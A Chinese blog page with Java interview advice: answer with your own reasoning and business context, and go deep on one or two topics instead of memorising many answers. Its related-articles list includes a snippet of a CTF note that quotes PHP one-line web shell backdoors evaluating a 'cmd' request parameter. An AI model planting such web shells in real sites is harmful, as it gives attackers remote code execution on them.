java面试心得体会

news/2025/2/7 22:25:52/文章来源:https://www.cnblogs.com/newAndHui/p/18703406

1.背景

大家有没有感觉到现在就算背诵了很多面试八股文,也刷了B站上很多的面试视频,绝大部分的面试题也基本上都能回答上,
但是找工作却越来越难了,是因为自己没有学好么,当然不是
很多人认为是经济不好,招聘的单位少,其实我个人觉得也不是
最主要的原因估计是学习java编程的人太多了,太卷了...
找工作本来就是一个筛选的过程,如果大家都背诵了面试八股文,都刷了很多面试视频,
到面试官那里回答的说辞都是一样的,虽然是正确的,但是大家回答的都是正确的呀,
这时候面试官就不知道选哪一个了....

2.回答问题要有自己的独特见解

在大家都会的情况下,要想通过面试就得体现出你与其他的面试者得的独特之处.....
如何才能能体现独特之处呢,可以从两个方面入手
一是:思维的独特
二是:技术深度的独特
当然通常者二者是互相贯穿的


举一个很常见的面试题:如何保证缓存与数据库的数据一致性
普通面试者得回答:
采用读写锁保证强一致性,使用Redisson实现读写锁;
在读的时候添加共享锁,可以保证读读不互斥、读写互斥;
更新数据的时候,添加排他锁,它是读写、读读都互斥,这样就能保证在写数据的同时,
不会让其他线程读数据,避免了脏数据。

这个回答如果只从技术的角度来说当然很完美,也是可行的,但是没有结合实际,没有体现出自己的思考过程
是一个典型的没有思考,没有项目开发经验或者经验不足,背诵出来的答案

有独到见解的回答:
这个如果只从技术的角度来分析的话,当前有很多现成的工具都可以实现
比如分布式锁,读写锁都是可以实现的,当然这里还有其他解决方案就不逐一列举.
备注:体现出自己知道怎么从技术角度解决问题...

但是这个缓存与数据库一致性的问题一般不从纯技术的角度去处理,
再怎么优秀的锁设计都没有无锁简洁快速,
我们可以从业务流程上来避免这个缓存一致性问题,这里可以举一个自己实际项目中的例子
或者使用之前我们讲过的虚拟供应链项目来说明,
这里面有个业务场景是每周三给银行的用户发放一定量的微信立减金,只有当微信立减金有库存的时候才显示这个活动
很明显这个活动数据访问频率非常高,如果每次都去查询数据库的话可能会造成数据库压力大,
但是放在缓存的话,剩余库存一直在变动,这就涉及到缓存与数据的一致性的问题

我一般在处理这类业务时,比较喜欢的做法是,数据放缓存,但是不加锁,允许业务存在一定的读取时的脏数据,
等用户真的下单兑换微信立减金时在数据库层面加锁,如果这时库存为空,就提示库存为空....不可兑换就可以了
其实这里面还有很多漏洞和可以继续深聊的话题..这里就不展开讲解了....

当然很明显我提出的解决方案可能不是最佳方案,但是是一个结合了实际业务情况有思考过程和原因的解决方案,而不是一个背诵出来的答案;
面试的时候重点是体现出你与其他人的不同,还能与面试官深入得探讨业务,技术问题,这样你就与其他的面试者大大的不同了
面上的概率也非常大了...

3.不要搞题海战术

上面讲了如何深入透彻的回答一道面试题,但是java体系那么多技术点,你是很难把每个技术点都理解透彻的;
我看到很多面试者大量的背诵面试题,搞题海战术,每个技术点都会说一点,但就是说不到独特的地方;
其实java面试你根本就不需要把所有的技术点都背诵一遍,你只需要深入透彻的搞清楚一两个技术点就可以了,
毕竟面试的时候纯技术面试一般就30分钟左右,在这30分钟中只要你能充分的把你准备的技术点给面试者说清楚就可以了;
你可能会想,我只准备了一两个技术点,万一面试官不问我准备的技术点,而是问其他的技术点呢?
这就需要你善于引导面试官问你你熟系的技术点,
比如在简历上写:擅长多线程高并发的处理,那么面试官多半会围绕这个问;
在比如面试官问,你你发过的项目有那些亮点,你可以说项目中对高并发和多线程的处理逻辑;
....

4.总结

这就是我对java面试的感悟,总结一下就两点:
1.回答问题必须要有自己的独特见解;
2.不要搞题海战术,深入透彻的准备一两个技术点就可以了;

5.资料获取

 完美!

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/880258.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

注解反射之自定义注解

自定义注解主要是要掌握四个元注解@Target, @Retention,@Documented,@Inherited,他们的意思分别如下 下面是一个具体的例子,注意注释定义中的 String name()并不是定义一个name方法,而是定义一个name属性,该属性的类型是Stringpackage com.loubin;import java.lang.ann…

【CTF笔记】文件上传漏洞

一、后门代码 1、一句话后门 <?php @eval($_get[cmd]); ?> <?php @eval($_request[cmd]);?> <script language="php">@eval($_post[cmd]);</script>注意,在PHP中配置 short_open_tag=on 时,图片中不能含有 <? ,有会影响PHP代码的…

​​2025年中非人工智能产业发展论坛征文来了!网络空间安全专业论文投稿建议(附文件全文)

2025年中非人工智能产业发展论坛征文来了!网络空间安全专业论文投稿建议(附文件全文)2025年中非人工智能产业发展论坛由广西产学研科学研究院、天津科学技术出版社、马里共和国驻华大使馆等单位联合举办,南宁市人工智能学会、IRNet国际学术交流中心承办,拟于2025年9月召开…

Tita 项目管理:前后置业务流程的得力助手

在当今竞争激烈的商业环境中,高效的项目管理对于企业的成功至关重要。而项目前后置业务流程的顺畅运作,更是决定项目成败的关键因素。接下来,让我们一起看看项目前后置业务流程的常见应用场景,以及 Tita 项目管理产品如何发挥重要作用。 项目启动前:精准规划,奠定成功基础…

P3405 [USACO16DEC] Cities and States S(哈希算法)

总的来说这是一道简单的哈希算法,由于是字符串,所以哈希编码时只用乘26就行了

虚拟化技术介绍

一、虚拟化技术简介 虚拟化(Virtualization)的含义很广泛。将任何一种形式的资源抽象成另一种形式的技术都是虚拟化,是资源的一种逻辑表示。解除了物理硬件和操作系统之间的紧耦合关系。虚拟化是云计算的基础。简单地说,虚拟化使得在一台物理的服务器上可以跑多台虚拟机,虚…

地平线 3D 目标检测 Bevformer 参考算法 V2.0

该示例为参考算法,仅作为在 征程 6 上模型部署的设计参考,非量产算法 简介 BEVFormer 是当前热门的自动驾驶系统中的 3D 视觉感知任务模型。BEVFormer 是一个端到端的框架,BEVFormer 可以直接从原始图像数据生成 BEV 特征,无需依赖于传统的图像处理流程。它通过利用 Transf…

.NET周刊【1月第3期 2025-01-19】

国内文章 互联网不景气了那就玩玩嵌入式吧,用纯.NET开发并制作一个智能桌面机器人(一):从.NET IoT入门开始 https://www.cnblogs.com/GreenShade/p/18667671 文章介绍了一款基于树莓派Zero 2W和.NET技术的智能桌面机器人。作者因对该项目的兴趣与网友需求而进行开发。产品结…

AUTOSAR 学习笔记

AUTOSAR 学习笔记 概述 ​ 本文章为0基础小白记录AUTOSAR学习笔记。如有错误,欢迎评论区指正。个人笔记模式习惯采用提问式记录,也是这篇文章的主要记录模式。 补充,大篇幅文章推荐: 《AutoSAR入门到精通系列讲解》作者:雪云飞星 https://blog.csdn.net/xyfx_fhw/category…

Win11环境下安装Oracle Databases 11g 遇到[INS-13001]环境不满足最低要求解决办法

找到你解压后的文件,点击打开database文件夹 -->stage文件夹 -->cvu文件夹 -->cvu_prereq.xml文件,用记事本打开cvu_prereq.xml文件; 在这个<CERTIFIED_SYSTEMS>。。。</CERTIFIED_SYSTEMS>语句之间增加如下代码: ...... <CERTIFIED_SYSTEMS> &…

Zookeeper入门api与应用

一、 说明 Zookeeper作为一个分布式的服务框架,主要用来解决分布式集群中应用系统的一致性问题,它能提供基于类似于文件系统的目录节点树方式的数据存储,但是 Zookeeper并不是用来专门存储数据的,它的作用主要是用来维护和监控你存储的数据的状态变化。通过监控这些数据状态…

马走日(结论题)

这道题本质上,是一道结论题,结论如下: 1.小尺寸处理: 如果点阵的行或列有一个为1,则马无法移动,只能留在起点,此时答案为1。 如果点阵的最小边为2,则马只能沿着较长的边移动,每次移动步长为2,此时答案为较长边的一半加1。 2.中等尺寸处理: 当点阵为3x3时,马无法到达…